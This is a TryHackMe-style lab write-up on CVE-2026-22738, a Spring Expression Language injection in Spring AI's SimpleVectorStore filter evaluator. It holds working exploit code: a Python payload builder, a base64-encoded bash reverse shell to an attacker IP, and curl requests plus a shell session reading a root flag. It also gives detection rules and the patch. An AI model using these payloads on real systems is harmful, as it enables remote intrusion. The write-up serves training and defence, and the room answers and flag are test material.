Spring AI: CVE-2026-22738 (TryHackMe)

Introduction
Spring AI 1.0 shipped in May 2025 as the first stable release of the Java framework designed to simplify the development of LLM-powered applications. By wrapping OpenAI, Ollama, and other model providers behind a consistent API, it made it easy for Java developers to add AI features to existing Spring Boot services. Adoption was fast. By early 2026, Spring AI had become a standard dependency across internal enterprise tools, customer-facing chatbots, and AI-assisted search backends.
CVE-2026-22738, published on 26 March 2026, sits in one of Spring AI's storage components: SimpleVectorStore. It is CVSS 9.8 Critical, unauthenticated and requiring no user interaction. An attacker who can reach an exposed API endpoint can achieve full remote code execution on the server, with no credentials and no preparation beyond sending a crafted HTTP request.
How a RAG Pipeline Works
To understand where this vulnerability sits, we need a rough picture of how Spring AI is typically used. In a Retrieval-Augmented Generation (RAG) pipeline, documents are converted into numerical vectors, called embeddings, and stored in a vector store. When a user asks a question, the application searches the vector store for the most relevant documents, then passes those documents alongside the question to the language model to produce a grounded answer.
SimpleVectorStore is Spring AI's built-in in-memory vector store. It uses a ConcurrentHashMap under the hood and is documented as a component for development and testing. It turns up in production when a prototype never gets migrated to a proper backend, which is more common than the documentation intends.
Spring Expression Language
Spring Expression Language (SpEL) is a general-purpose expression engine used throughout the Spring Framework. It powers conditional bean loading in Spring Boot, access-control expressions in Spring Security, and @Query annotations in Spring Data JPA. SpEL supports property access, method invocation, and type operations. When evaluated against trusted, internal data it is safe. When user input reaches the evaluator without sanitisation, it becomes a code execution primitive.
We will work through the full attack chain against a deployed Spring Boot RAG application running vulnerable Spring AI 1.0.4: tracing the vulnerable code path, crafting SpEL payloads, catching a reverse shell, then switching perspective to detect and patch the vulnerability.
Along the way, we will cover why the default evaluation context is dangerous, how StandardEvaluationContext differs from SimpleEvaluationContext at the code level, and what log and process signals to look for when this is being exploited.
Prerequisites
Familiarity with OS Command Injection and Server-Side Template Injection helps most here. SSTI in particular shares the same root cause: evaluating user input as code. The OWASP Top 10 2025 is a useful background on injection as a category.
Spring4Shell applies to Spring Boot applications, but it is not required.
Exploring the Vulnerability
SimpleVectorStore supports metadata filtering, which lets a caller narrow the candidate documents before similarity ranking. A SearchRequest is passed with a filterExpression describing which documents to include, for example, country == 'US' to restrict results to documents tagged with that metadata value. Internally, this expression is handed to SimpleVectorStoreFilterExpressionEvaluator, the class responsible for turning that filter into a JVM-level predicate.
The evaluator builds a SpEL expression string by concatenating the filter key into a template:
Filter Expression Template
// Simplified representation of the evaluator's approach
String spel = "#metadata['" + filterKey + "'] == '" + filterValue + "'";
evaluationContext.evaluate(spel);
When filterKey is country, the expression becomes #metadata['country'] == 'US'. That is the intended operation. The problem is not the template structure, it is the evaluation context used to execute the expression.
StandardEvaluationContext vs SimpleEvaluationContext
SpEL has two evaluation contexts that control what an expression is allowed to do:
| Context | What it exposes | Appropriate use |
|---|---|---|
StandardEvaluationContext |
Full JVM reflection: method invocation, type loading via T(...), bean access |
Internal framework operations with trusted input only |
SimpleEvaluationContext |
Read-only property and array access, no type loading | Any expression that touches user-controlled input |
StandardEvaluationContext is the framework default. It exposes the T(ClassName) operator, which loads an arbitrary Java class at runtime. The classic exploitation form is:
SpEL RCE Payload
T(java.lang.Runtime).getRuntime().exec("id")
Flags explained:
T(java.lang.Runtime), load theRuntimeclass from the JVM via reflection.getRuntime(), get the current JVM'sRuntimeinstance.exec("id"), spawn an OS process and return aProcessobject (concretelyProcessImplon standard JVMs)
With StandardEvaluationContext, any expression that can be written as a string can invoke any method in the JVM. When that string contains user-supplied input, the user controls the program's execution.
The T(...) Type Expression
T(...) is SpEL's type operator. It takes a fully qualified class name and returns the class itself, giving access to static methods and fields without any explicit Java reflection boilerplate.
For java.lang.Runtime, the static method getRuntime() returns the current JVM's runtime instance, and exec() on that instance launches an OS process. Beyond Runtime, there are other useful targets:
| Expression | Effect |
|---|---|
T(java.lang.Thread).sleep(5000) |
Pause the JVM for five seconds, useful for timing-based blind confirmation |
T(java.lang.System).getProperty('java.version') |
Read a JVM property, confirms SpEL evaluation without OS interaction |
T(java.lang.Runtime).getRuntime().exec(...) |
Spawn an OS process, full RCE |
The Attack Surface
Any Spring AI application that accepts a user-controlled HTTP parameter, places it into a SearchRequest.filterExpression key without validation, and calls SimpleVectorStore.similaritySearch() with that request is vulnerable. This pattern is common in RAG backends, where users filter documents by metadata such as language, category, or date range. The application developer associates the user's filter selection with the search request without treating it as untrusted input.
A Recurring Pattern: CVE-2022-22963
CVE-2026-22738 is not the first time a Spring component has shipped StandardEvaluationContext as the evaluator for user-supplied input. In 2022, CVE-2022-22963 hit Spring Cloud Function: an HTTP header named spring.cloud.function.routing-expression allowed callers to route requests to functions by name, and that expression was evaluated with StandardEvaluationContext. The result was the same: unauthenticated RCE, CVSS 9.8.
The fix in Spring Cloud Function was identical to the fix in Spring AI four years later. Replace StandardEvaluationContext with SimpleEvaluationContext. The pattern recurs because StandardEvaluationContext is the framework default, and developers who reach for SpEL for a new feature do not always consider what happens when the input is untrusted.
Spring4Shell (CVE-2022-22965) is a different class entirely, a data binding gadget that does not involve SpEL. It is worth keeping separate from this pattern.
MITRE ATT&CK maps this attack to T1190 (Exploit Public-Facing Application) for initial access and T1059.004 (Unix Shell) for execution via the resulting reverse shell.
Answer the questions below
What evaluation context does the vulnerable version use to evaluate filter expressions?
StandardEvaluationContextWhat SpEL operator loads a Java class by its fully qualified name?
T(...)What Spring component had the same SpEL injection flaw in 2022?
Spring Cloud Function
Understanding the Tools
Both scripts are available to download from this task.
Before we touch the machine, it is worth understanding exactly what each tool does. Running a script against a live target without knowing its internals is how things go wrong, and in this case the internals also explain the vulnerability clearly.
exploit.py
exploit.py runs a four-stage attack chain against the /search endpoint. Each stage builds on the last, moving from a passive check to confirmed OS-level code execution.
Stage 1 (step_baseline) sends a normal GET request:
GET /search?filterKey=country&filterValue=US&query=hello
This confirms the endpoint is alive and that the application returns a seeded document with a country: US metadata field. If Stage 1 fails, there is no point continuing.
Stage 2 (step_spel_probe) injects a read-only SpEL expression into the filterKey parameter:
"'] + T(java.lang.System).getProperty('java.version') + #metadata['"
This uses T(java.lang.System) to read the JVM's java.version property. No OS process is spawned here. If the Java version string appears in the response body, or we receive an evaluation error instead of a normal response, both outcomes confirm that our input reached the SpEL evaluator. This is the injection point.
Stage 3 (step_rce_touch) escalates to OS execution using T(java.lang.Runtime). The command is harmless: touch /tmp/pwned_cve_2026_22738. We do not need the command's output to come back in the HTTP response. We look for something else instead. When exec() returns, SpEL tries to concatenate the resulting ProcessImpl object with the surrounding expression using the ADD operator. It cannot, so it throws:
EL1030E: The operator 'ADD' is not supported between objects of type 'null' and 'java.lang.ProcessImpl'
That error appears in the HTTP response body, and it fires after the process was already spawned. In the script, this is the success check:
RCE_INDICATOR = "EL1030E"
Seeing EL1030E in the response body is how exploit.py confirms that Runtime.exec() was invoked.
Stage 4 (step_rce_id) writes the output of id, uname -a, and cat /etc/hostname to /tmp/rce_proof.txt. This gives us three pieces of identifying information about the target without needing an interactive shell.
The core payload builder used in Stages 3 and 4 is:
def spel_filter_key(cmd: str) -> str:
return (
f'''"'] + T(java.lang.Runtime).getRuntime().exec('''
f'''new String[]{{'/bin/bash','-c','{cmd}'}}) + #metadata['"'''
)
The outer double quotes are not decoration. When filterKey starts with a single quote, the filter text parser treats it as a quoted string literal and strips the surrounding quotes before constructing the SpEL expression, which mangles the payload. Wrapping in double quotes causes the parser to strip those instead, leaving the inner single-quoted content to be embedded verbatim into the SpEL template. The evaluator then sees a valid expression with our command in it.
Attacker Terminal
python3 exploit.py --target http://MACHINE_IP:8082
python3 exploit.py --target http://MACHINE_IP:8082 --wait
Flags explained:
--target, base URL of the vulnerable application--wait, poll/searchuntil the app responds before running the exploit stages
listener.py
listener.py handles the reverse shell. It has two modes.
In listener-only mode, it binds a TCP socket and waits for an incoming connection. Once a shell connects, it enters an interactive loop that forwards your stdin to the socket and prints everything the shell sends back.
In --exploit mode, it starts the listener first, then fires the SpEL reverse shell payload in a background thread. Starting the listener before firing the payload matters: the target machine connects back almost immediately, and if the socket is not ready, it misses the connection.
The reverse shell payload has a character conflict problem. The raw bash command, bash -i >& /dev/tcp/IP/PORT 0>&1, contains >& and / characters that break the filter parser if passed as plain text inside single quotes. The script avoids this by base64-encoding the entire shell command first:
def build_revshell_payload(lhost: str, lport: int) -> str:
bash_cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f"echo {b64}|base64 -d|bash"
return spel_filter_key(cmd)
The encoded payload decodes and executes cleanly inside the SpEL expression without any single-quote conflicts reaching the parser.
When a shell connects, listener.py automatically sends whoami, id, and a hostname/IP command to identify the execution context. We see the answers without typing anything.
python3 listener.py --lhost YOUR_VPN_IP --lport 4444 --exploit --target http://MACHINE_IP:8082
Flags explained:
--lhost, the IP the target can reach us on (our THM VPN IP, visible viaip aon thetun0interface)--lport, the port to listen on--exploit, build and fire the SpEL payload after starting the listener--target, the vulnerable application URL
How They Fit Together
exploit.py is the confirmation tool. We run it first to walk through Stages 1- 4 and verify RCE without committing to an interactive shell. It leaves a file on disk and writes system information to /tmp/rce_proof.txt. Once we know the injection works, we move to listener.py to catch the reverse shell and interact with the server directly.
Answer the questions below
What string in the HTTP response confirms that
exec()fired?EL1030EWhat file does Stage 3 create on the target?
/tmp/pwned_cve_2026_22738What flag makes listener.py fire the payload and listen in one command?
--exploit
Exploiting CVE-2026-22738
Stage 1: Baseline Check
Before injecting anything, we confirm the endpoint behaves as expected. Using curl, a normal request with filterKey=country and filterValue=US should return a seeded document:
Baseline Check
curl "http://MACHINE_IP:8082/search?filterKey=country&filterValue=US&query=hello"
A successful response returns a JSON document with a country: US metadata field. If the application is not ready yet, wait a few seconds and retry, or use exploit.py with the --wait flag which polls the endpoint before proceeding:
Attacker Terminal
python3 exploit.py --target http://MACHINE_IP:8082 --wait
Flags explained:
--target, base URL of the vulnerable application--wait, poll/searchuntil the app responds before running the exploit stages
Stage 2: Blind SpEL Probe
Before triggering OS execution, we confirm that our input reaches the SpEL evaluator. exploit.py sends a read-only probe using T(java.lang.System).getProperty('java.version') as the filterKey. No process is spawned. A Java version string in the response body, or any SpEL evaluation error, confirms the injection point is live.
The double-quote wrapping we examined in Task 3 is what makes the payload reach the evaluator intact. exploit.py handles parameter encoding automatically at this stage.
Stage 3: RCE Confirmation
With SpEL evaluation confirmed, exploit.py escalates to OS execution using the payload structure we examined in Task 3: T(java.lang.Runtime).getRuntime().exec() with touch /tmp/pwned_cve_2026_22738 as the command. We look for EL1030E in the HTTP response. That error fires after exec() returns, confirming the process was spawned even though we have no in-band command output.
Run the full four-stage chain:
Attacker Terminal
python3 exploit.py --target http://MACHINE_IP:8082
Stage 3 prints a confirmation line when EL1030E appears in the response. Stage 4 writes id, uname -a, and the hostname to /tmp/rce_proof.txt on the target.
Stage 4: Reverse Shell
Now we catch an interactive shell. listener.py in --exploit mode starts the listener first, then fires the reverse shell payload in a background thread, so the socket is ready before the shell connects. The payload is base64-encoded to avoid single-quote conflicts with the filter parser, as covered in Task 3.
Attacker Terminal
python3 listener.py --lhost YOUR_VPN_IP --lport 4444 --exploit --target http://MACHINE_IP:8082
Flags explained:
--lhost, the IP our machine is reachable on from the target (our THM VPN IP, visible viaip aon thetun0interface)--lport, the port to listen on--exploit, build and fire the SpEL payload after starting the listener--target, the vulnerable application URL
When the shell connects, listener.py automatically runs whoami, id, and a hostname/IP command. The application runs as root, so the flag is immediately readable:
Attacker Terminal
cat /root/flag.txt
Answer the questions below
What port is the vulnerable application running on? 8082
nmap -sV -p- IP_Address
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
8082/tcp open blackice-alerts?
What user is the application running as? root
What is the flag at /root/flag.txt?
gobuster dir -u http://IP_Address:8082 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
/error (Status: 500) [Size: 73]
/search (Status: 400) [Size: 97]
curl http://IP_Address:8082
{"timestamp":"2026-04-02T19:58:54.726+00:00","status":404,"error":"Not Found","path":"/"}root@ip-10-49-78-190:~# curl http://IP_Address:8082/
{"timestamp":"2026-04-02T19:59:07.572+00:00","status":404,"error":"Not Found","path":"/"}
curl "http://IP_Address:8082/search?filterKey=country&filterValue=US&query=hello"
[{"id":"5b8b381c-f998-4c99-87e8-75a6610e4e57","text":"Hello world \u2014 this is the seeded test document for the CVE-2026-22738 lab.","media":null,"metadata":{"distance":0.0,"country":"US","year":2025},"score":1.0}]
curl "http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec('touch%20/tmp/pwned_cve_2026_22738')&filterValue=test&query=hello"
{"timestamp":"2026-04-02T20:02:19.029+00:00","status":500,"error":"Internal Server Error","path":"/search"}
root@ip-IP_Address:~# echo 'bash -i >& /dev/tcp/Attack_IP/4444 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg==
failed
curl "http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]{%22/bin/bash%22,%22-c%22,%22echo+YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg==+|+base64+-d+|+bash%22})&filterValue=test&query=hello"
[1/3]: http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]%22/bin/bash%22)&filterValue=test&query=hello --> <stdout>
--_curl_--http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]%22/bin/bash%22)&filterValue=test&query=hello
<!doctype html><html lang="en"><head><title>HTTP Status 400 \u2013 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 \u2013 Bad Request</h1></body></html>
[2/3]: http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]%22-c%22)&filterValue=test&query=hello --> <stdout>
--_curl_--http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]%22-c%22)&filterValue=test&query=hello
<!doctype html><html lang="en"><head><title>HTTP Status 400 \u2013 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 \u2013 Bad Request</h1></body></html>
[3/3]: http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]%22echo+YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg==+|+base64+-d+|+bash%22)&filterValue=test&query=hello --> <stdout>
--_curl_--http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]%22echo+YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg==+|+base64+-d+|+bash%22)&filterValue=test&query=hello
<!doctype html><html lang="en"><head><title>HTTP Status 400 \u2013 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 \u2013 Bad Request</h1></body></html>
curl -g "http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String[]{%22/bin/bash%22,%22-c%22,%22echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg%3D%3D+|+base64+-d+|+bash%22})&filterValue=test&query=hello"
<!doctype html><html lang="en"><head><title>HTTP Status 400 \u2013 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 \u2013 Bad Request</h1></body></html>
curl -g "http://IP_Address:8082/search?filterKey=T(java.lang.Runtime).getRuntime().exec(new+String%5B%5D%7B%22/bin/bash%22,%22-c%22,%22echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg%3D%3D+|+base64+-d+|+bash%22%7D)&filterValue=test&query=hello"
<!doctype html><html lang="en"><head><title>HTTP Status 400 \u2013 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 \u2013 Bad Request</h1></body></html>root@ip-10-49-78-190:~# curl -g -G "http://IP_Address:8082/search" \
> --data-urlencode 'filterKey=T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg== | base64 -d | bash"})' \
> --data-urlencode 'filterValue=test' \
> --data-urlencode 'query=hello'
{"timestamp":"2026-04-02T20:08:26.946+00:00","status":500,"error":"Internal Server Error","path":"/search"}
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on IP_Address 36690
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@9836cd90535c:/app# pwd
pwd
/app
root@9836cd90535c:/app# ls -la /app
ls -la /app
total 28720
drwxr-xr-x 1 root root 4096 Apr 1 18:01 .
drwxr-xr-x 1 root root 4096 Apr 1 18:02 ..
-rw-r--r-- 1 root root 29399794 Apr 1 18:01 app.jar
root@9836cd90535c:/app# ls -la
ls -la
total 28720
drwxr-xr-x 1 root root 4096 Apr 1 18:01 .
drwxr-xr-x 1 root root 4096 Apr 1 18:02 ..
-rw-r--r-- 1 root root 29399794 Apr 1 18:01 app.jar
root@9836cd90535c:/app# find / -type f -name root.txt 2>/dev/null
find / -type f -name root.txt 2>/dev/null
/root/root.txt
root@9836cd90535c:/app# cat /root/root.txt
cat /root/root.txt
THM{sp3l_1nj3ct10n_m3ans_spr1ng_AI_g0es_brrr}
- All steps matter. This is the last for the reverse shell
curl -g -G "http://IP_Address:8082/search" \
--data-urlencode "filterKey=\"'] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40OS43OC4xOTAvNDQ0NCAwPiYxCg==|base64 -d|bash'}) + #metadata['\"" \
--data-urlencode 'filterValue=test' \
--data-urlencode 'query=hello'
Detecting and Patching
Switching perspective: if this application were running in production and an attacker exploited CVE-2026-22738, what would we see, and what would we do about it?
Application Log Signatures
When a SpEL payload triggers the EL1030E error, the application logs a Java exception. The stack trace includes two strings that are reliable indicators of exploitation attempts:
Application Log
org.springframework.expression.spel.SpelEvaluationException: EL1030E:
The operator 'ADD' is not supported between objects of type
'null' and 'java.lang.ProcessImpl'
at org.springframework.ai.vectorstore.SimpleVectorStoreFilterExpressionEvaluator.evaluate(...)
SpelEvaluationException in the stack trace of a vector store component is not a normal application error. A log aggregation pipeline, whether Splunk, Elasticsearch, or CloudWatch, should alert when both SpelEvaluationException and SimpleVectorStoreFilterExpressionEvaluator appear together in the same stack trace. That combination is not a path the application reaches through normal use.
Note that this signature only appears when the ADD operation fails after exec() returns. A payload that avoids triggering that error path produces no log entry, which is why process-level monitoring (covered below) is the more reliable backstop.
HTTP Request Indicators
The SpEL payload travels as a query parameter in a GET request. A WAF or API gateway inspecting incoming requests should alert when the filterKey parameter containsT(java. (the SpEL type operator), getRuntime, .exec( (narrowed to avoid false positives on field names like executorId), or ProcessBuilder.
A regex pattern covering the type operator:
T\s*\(java\.lang\.(Runtime|ProcessBuilder)
There is a critical caveat with this regex. SpEL is whitespace-tolerant. The expressions T(java.lang.Runtime) and T ( java.lang.Runtime ) are identical to the evaluator. A WAF rule that does a simple substring match on T(java.lang.Runtime) can be bypassed by inserting spaces. Effective detection must normalise or strip whitespace before matching, or use a pattern that allows optional whitespace between T, (, and the class name.
JVM Child-Process Monitoring
A Spring Boot application serving HTTP requests has no legitimate reason to spawn a bash, sh, or curl child process. OS-level process monitoring catches the reverse shell even when the HTTP payload is obfuscated beyond WAF detection.
A Falco rule that covers this:
Falco Rule
- rule: Java process spawns shell
desc: A Java process spawned a shell, possible SpEL injection exploitation
condition: >
spawned_process and
proc.pname = "java" and
proc.name in (bash, sh, dash, curl, wget)
output: >
Shell spawned by Java process
(pid=%proc.pid command=%proc.cmdline parent=%proc.pname)
priority: CRITICAL
Equivalent coverage is available with auditd by watching execve syscalls from processes whose parent is a JVM. Either approach catches the shell spawn regardless of how the payload was delivered.
Patching
The fix in Spring AI 1.0.5 and 1.1.4 is a single-line change in SimpleVectorStoreFilterExpressionEvaluator. The dangerous context is replaced with a restricted one:
Patch Diff
// Before: Spring AI 1.0.4 and earlier
EvaluationContext ctx = new StandardEvaluationContext();
// After: Spring AI 1.0.5
EvaluationContext ctx = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SimpleEvaluationContext.forReadOnlyDataBinding() disables the T(...) operator entirely. No payload variation can load a Java class when the context does not support it, so the entire vulnerability class is closed with a one-line change.
To apply the patch, update the spring-ai-core dependency version in pom.xml or build.gradle:
Maven Dependency Update
<dependency>
<groupId>org.springframework.ai</groupId>
<artifactId>spring-ai-core</artifactId>
<version>1.0.5</version>
</dependency>
Temporary Mitigation
If upgrading immediately is not possible, an input validation layer can block the most obvious payloads. Reject any filterKey value containingT(, getRuntime, or exec. An attacker familiar with SpEL internals may find alternative execution paths not covered by a keyword blocklist, so treat this as a stopgap. The only complete solution is to upgrade to 1.0.5 or 1.1.4.
Answer the questions below
What Java exception class appears in the stack trace during exploitation?
SpelEvaluationExceptionWhat Spring AI version fixes CVE-2026-22738 for the 1.0.x branch?
1.0.5What evaluation context does the patched version use?
SimpleEvaluationContext
Conclusion
CVE-2026-22738 follows a direct path: user input arrives in an HTTP query parameter, flows into a SpEL template without sanitisation, and reaches StandardEvaluationContext, which treats it as a trusted expression and executes whatever it contains. A single T(java.lang.Runtime).getRuntime().exec() call later, the attacker has a shell. Changing a single line in a single class closes the vulnerability entirely.
The wider point is that expression language injection is a pattern, not a one-off. SpEL, OGNL, and Java EL all share the same root cause: user input is passed to an expression evaluator configured for trusted data. Template engines like FreeMarker and Jinja2 reach the same outcome via a different mechanism, SSTI, where the template itself is attacker-controlled rather than the evaluator context. CVE-2022-22963 used the same technique against Spring Cloud Function four years earlier. The Spring component and entry point changed, but the vulnerability class persisted because StandardEvaluationContext remained the default.
Next Rooms
Spring4Shell, a different Spring RCE class using a data binding gadget rather than SpEL injection, showing how the same framework can fail in different ways
Server-Side Template Injection, the related class of injection where user input controls the template itself rather than the evaluator context
OWASP Top 10 2025, the broader injection category this vulnerability falls under



